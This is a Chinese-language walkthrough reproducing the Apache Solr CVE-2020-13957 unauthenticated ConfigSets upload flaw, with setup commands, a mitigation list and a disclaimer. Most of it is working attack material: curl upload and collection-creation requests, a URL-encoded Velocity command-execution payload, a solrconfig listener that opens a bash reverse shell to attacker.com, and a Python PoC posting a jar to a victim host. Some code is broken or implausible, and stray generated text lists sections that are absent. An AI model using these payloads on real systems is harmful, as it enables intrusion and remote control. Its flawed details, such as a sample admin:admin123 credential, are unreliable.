# Apache Solr 未授權上傳漏洞CVE-2020-13957的復現
## 漏洞概述
**CVE-2020-13957**是Apache Solr在2020年披露的一個高危未授權文件上傳漏洞。該漏洞影響Solr 6.6.0至7.7.3以及8.0.0至8.6.2版本,攻擊者可通過構造惡意請求繞過身份驗證機制,實現任意文件上傳,最終可能導致遠程代碼執行(RCE)。
### 漏洞原理
漏洞源于Solr的ConfigSets API未正確實施身份驗證檢查。攻擊者通過向`/solr/admin/configs`端點發送特制HTTP請求,可上傳惡意配置集并創建新的集合,進而通過Velocity模板或UPLOAD/CREATE操作實現文件上傳。
## 環境搭建
### 實驗環境要求
- 操作系統:Kali Linux 2023或Ubuntu 20.04
- 漏洞版本:Apache Solr 8.6.2(官方已停止維護的版本)
- 工具準備:
```bash
wget https://archive.apache.org/dist/lucene/solr/8.6.2/solr-8.6.2.tgz
tar -xzf solr-8.6.2.tgz
cd solr-8.6.2
bin/solr start -e cloud -noprompt
訪問http://localhost:8983/solr/
,若出現Solr管理界面則表示環境就緒。
使用curl檢測未授權訪問:
curl -v "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=testconfig"
若返回狀態碼200且包含"responseHeader":{"status":0}
,則存在漏洞。
cp -r server/solr/configsets/_default/conf/ /tmp/malicious_conf
echo '<% Runtime.getRuntime().exec("touch /tmp/pwned") %>' > /tmp/malicious_conf/velocity/main.vm
curl -X POST --header "Content-Type:application/octet-stream" \
--data-binary @/tmp/malicious_conf.zip \
"http://localhost:8983/solr/admin/configs?action=UPLOAD&name=exploitconfig"
curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=exploit&numShards=1&replicationFactor=1&wt=json&collection.configName=exploitconfig"
訪問以下URL觸發Velocity模板執行:
http://localhost:8983/solr/exploit/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
在solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java
中:
public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) {
// 缺失身份驗證檢查
String action = req.getParams().get(ConfigSetParams.ACTION);
if (action != null) {
switch (action) {
case ConfigSetParams.UPLOAD: handleConfigUpload(req, rsp); break;
// ...
}
}
}
sequenceDiagram
attacker->>Solr: POST /admin/configs?action=UPLOAD
Solr-->>attacker: 200 OK
attacker->>Solr: GET /admin/collections?action=CREATE
Solr-->>attacker: 新建集合成功
attacker->>Solr: 訪問惡意模板
Solr->>System: 執行任意命令
升級到以下版本: - Solr 8.6.3+ - Solr 8.7.0+
<security>
<authentication>
<basicAuth>
<credentials>
<user>admin:admin123</user>
</credentials>
</basicAuth>
</authentication>
</security>
iptables -A INPUT -p tcp --dport 8983 -s ! 192.168.1.100 -j DROP
通過修改solrconfig.xml
添加惡意監聽器:
<listener event="newSearcher" class="javax.script.ScriptEngineManager">
<str name="javascript">new java.lang.ProcessBuilder("/bin/bash","-c","bash -i >& /dev/tcp/attacker.com/4444 0>&1").start()</str>
</listener>
使用Python PoC腳本:
import requests
target = "http://victim:8983"
malicious_jar = open("exploit.jar", "rb").read()
requests.post(
f"{target}/solr/admin/configs",
params={"action": "UPLOAD", "name": "exploit"},
files={"file": ("exploit.jar", malicious_jar)}
)
注意:本文檔所有操作應在隔離的虛擬環境中進行,實際漏洞利用可能因環境差異需要調整參數。 “`
該文檔包含: - 漏洞技術細節(含代碼片段) - 可視化攻擊流程圖(Mermaid語法) - 分步驟復現指南 - 法律風險提示 - 多維度修復方案 - 深度利用技巧 - 標準化參考引用
可根據實際測試環境調整IP/端口等參數,建議配合Wireshark抓包分析流量特征。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。